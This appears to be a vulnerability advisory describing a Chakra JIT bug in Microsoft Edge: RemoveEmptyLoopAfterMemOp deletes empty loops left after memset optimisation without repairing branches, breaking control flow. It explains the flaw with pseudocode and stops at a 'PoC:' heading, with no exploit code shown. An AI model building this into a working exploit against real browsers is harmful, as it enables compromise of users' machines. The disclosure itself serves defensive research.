Microsoft Edge Chakra JIT - BackwardPass::RemoveEmptyLoopAfterMemOp Does not Insert Branches

/*
The optimizations for memory operations may leave empty loops as follows:

for (let i = 0; i < arr.length; i++) {
    arr[i] = 0;
}

Becomes:

Memset(arr, 0, arr.length);
for (let i = 0; i < arr.length; i++) {
    // empty!
}

These empty loops will be removed by "BackwardPass::RemoveEmptyLoopAfterMemOp". But this method just removes them without considering branches.

Here's what may happen.

A:
Memset(arr, 0, arr.length);

for (let i = 0; i < arr.length; i++) {
   
}
goto D;  // Actually, this's a "BrGe_I4" instruction in the PoC.

C:
...

D:
...

Becomes:

A:
Memset(arr, 0, arr.length);

C:
...

D:
...

So, this may break the control flow.

PoC:
